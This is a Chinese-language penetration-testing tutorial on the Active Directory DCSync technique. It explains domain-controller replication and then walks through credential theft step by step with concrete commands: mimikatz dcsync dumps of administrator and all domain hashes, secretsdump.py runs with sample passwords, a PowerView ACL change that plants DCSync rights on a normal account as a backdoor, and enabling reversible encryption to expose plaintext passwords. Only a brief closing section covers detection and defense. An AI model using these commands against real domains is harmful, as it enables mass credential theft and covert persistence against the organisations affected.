文章目录
Dcsync详解
在Dcsync没有出现之前,如果攻击者需要拿到域内用户的Hash,就只能在域控制器上运行mimikatz或者Invoke-Mimikatz去抓取密码或者Hash。2015年八月份Mimikatz新增了一个主要功能叫做"Dcsync",使用这项技术可以有效的模拟域控制器并从目标域控上请求域内用户的Hash,这项技术为当下域渗透提供了极大的便利,可以直接远程dump域内hash,另外也衍生出很多的攻击方式。
Dcsync原理
在域内,不同的域控制器之间,每隔15分钟都会有一次域数据的同步,当一个域控制器想从其他域控制器上面获取数据时,DC1会向DC2发起一个GetNCChanges请求,该请求的数据,包括需要同步的数据,如果需要同步的数据比较多,则会重复上面的过程。
Dcsync就是利用这个原理,通过DPS服务的GetNCChanges 接口向域控发起数据同步请求。
当获取到域内管理员的权限,如果能修改域内普通用户的权限,使其具有DCSYNC权限的话,那么普通用户也可以导出域内的Hash,这样就做到了一个权限维持的操作。
默认只有域控主机账号和域管理员能DCSYNC,域管和邮件服务器的账户都有写ACL的权限,可以给指定用户添加Dcsync来dump域内hash。
权限
对于域内对象来说只需要拥有这两个权限,就具备DCSYNC的权限。
‘DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
利用条件
1.域控制器的计算机用户
2.赋予指定用户或域机器Dcsync权限
利用方式
只需要拥有上述条件之一的,即可导出域内任意用户的Hash。
mimikatz
导出administrator用户的Hash
privilege::debug
lsadump::dcsync /domain:relaysec.com /user:administrator
导出所有域用户的哈希:
lsadump::dcsync /domain:relaysec.com /all /csv
后门利用
使用Empire下的powerview.ps1脚本执行以上三条ACE
DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以向域内普通用户添加如下三条ACE(Access Control Entries):
DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
Add-DomainObjectAcl -TargetIdentity “DC=relaysec,DC=com” -PrincipalIdentity hack -Rights DCSync -Verbose
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser #powershell默认不允许执行脚本
我们再来看relaysec.com的属性。可以看到这里已经设置完成了。
当用户hack具有DCSync权限后,可以导出域内哈希:
python3 secretsdump.py relaysec.com/hack:Admin1234..@域控IP -dc-ip 域控IP
给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity “DC=relaysec,DC=com” -PrincipalIdentity hack -Rights DCSync -Verbose
再去导出Hash的时候肯定是不行了。
Dcsync+可逆加密存储密码
Active Directory 帐户有一项遗留功能,称为“可逆加密”。通常,使用 NT单向函数对用户密码进行散列以创建 NTLM hash。NTLM hash无法逆转,必须破解。
如果启用了可逆加密,则用户的密码将使用加密存储,这意味着可以将加密的数据还原回用户的密码。使用可逆加密存储的密码不是散列,因为可以调用函数来恢复原始明文密码。
帐户启用可逆加密,帐户的明文密码不会立即可用;如果对帐户启用了可逆加密并且用户在设置此配置后更改了密码,则明文密码将保存在 Active Directory 数据库中。当用户再次调用Dcsync后会显示其明文。
勾选“可逆加密存储密码”这个属性后,用户再次更改密码会显示其明文密码;将administrator设置为可逆加密存储密码
首先我们勾选hack这个用户的"使用可逆加密存储密码"。
然后DCSYNC。可以发现并没有显示出明文密码。
这时我们将密码进行更改,然后dcsync。
更改完成之后我们会发现明文密码显示了出来。
我们可以使用ldap来进行查询那些用户设置了可逆加密存储属性的帐户。
get-adobject -ldapfilter "(&(objectCategory=person)(objectClass=user) (userAccountControl:1.2.840.113556.1.4.803:=128))" #查询设置了可逆加密存储属性的账户
Set-ADUser win7 -AllowReversiblePasswordEncryption $true #给属性账户进行设置
得MachineAccount口令hash的方法
MachineAccount是每台计算机在安装系统后默认生成的计算机帐户
如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中
计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令
mimikatz命令示例:
privilege::debug
token::elevate
lsadump::secrets
使用DCSync导出所有帐户的hash
在域控制器上使用mimikatz导出域内所有用户的hash
mimikatz.exe “lsadump::dcsync /domain:relaysec.com /all /csv” exit
使用 secretsdump.py
python3 secretsdump.py relaysec/Administrator:QWEasd123..@10.211.1.210
secretsdump.py的实现原理:
使用计算机帐户hash通过smbexec或者wmiexec远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的hash,同时通过Dcsync或从NTDS.dit文件中导出所有域用户的hash。
防御
通过网络监控检测来自白名单以外的域控制器数据同步复制。
给域控设置白名单,只允许白名单内的域控IP发起数据同步请求。
利用AD自检工具查看哪些域用户有Dcsync的权限。